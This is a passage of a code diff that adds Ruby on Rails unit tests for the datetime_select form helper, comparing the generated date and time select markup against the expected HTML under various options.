+ output_buffer = fields_for :post, @post, :index => id do |f|
+ concat f.datetime_select(:updated_at)
+ end
+
+ expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_datetime_select_with_auto_index
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+ id = @post.id
+
+ expected = %{<select id="post_123_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_123_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_123_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_123_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_123_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post[]", "updated_at")
+ end
+
+ def test_datetime_select_with_seconds
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :include_seconds => true)
+ end
+
+ def test_datetime_select_discard_year
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true)
+ end
+
+ def test_datetime_select_discard_month
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_month => true)
+ end
+
+ def test_datetime_select_discard_year_and_month
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true, :discard_month => true)
+ end
+
+ def test_datetime_select_discard_year_and_month_with_disabled_html_option
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]" value="1" />\n}
+
+ expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", { :discard_year => true, :discard_month => true }, :disabled => true)
+ end
+
+ def test_datetime_select_discard_hour
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_hour => true)
+ end
+
+ def test_datetime_select_discard_minute
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<input type="hidden" id="post_updated_at_5i" name="post[updated_at(5i)]" value="16" />\n}
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true)
+ end
+
+ def test_datetime_select_disabled_and_discard_minute
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<input type="hidden" id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]" value="16" />\n}
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true, :disabled => true)
+ end
+
+ def test_datetime_select_invalid_order
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:minute, :day, :hour, :month, :year, :second])
+ end
+
+ def test_datetime_select_discard_with_order
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:day, :month])
+ end
+
+ def test_datetime_select_with_default_value_as_time
+ @post = Post.new
+ @post.updated_at = nil
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ 2001.upto(2011) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2006}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 9}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 19}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35))
+ end
+
+ def test_include_blank_overrides_default_option
+ @post = Post.new
+ @post.updated_at = nil
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %(<option value=""></option>\n)
+ (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %(<option value=""></option>\n)
+ 1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %(<option value=""></option>\n)
+ 1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true)
+ end
+
+ def test_datetime_select_with_default_value_as_hash
+ @post = Post.new
+ @post.updated_at = nil
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 10}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 9}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 42}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :default => { :month => 10, :minute => 42, :hour => 9 })
+ end
+
+ def test_datetime_select_with_html_options
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]" class="selector">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]" class="selector">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]" class="selector">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]" class="selector">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", {}, :class => 'selector')
+ end
+
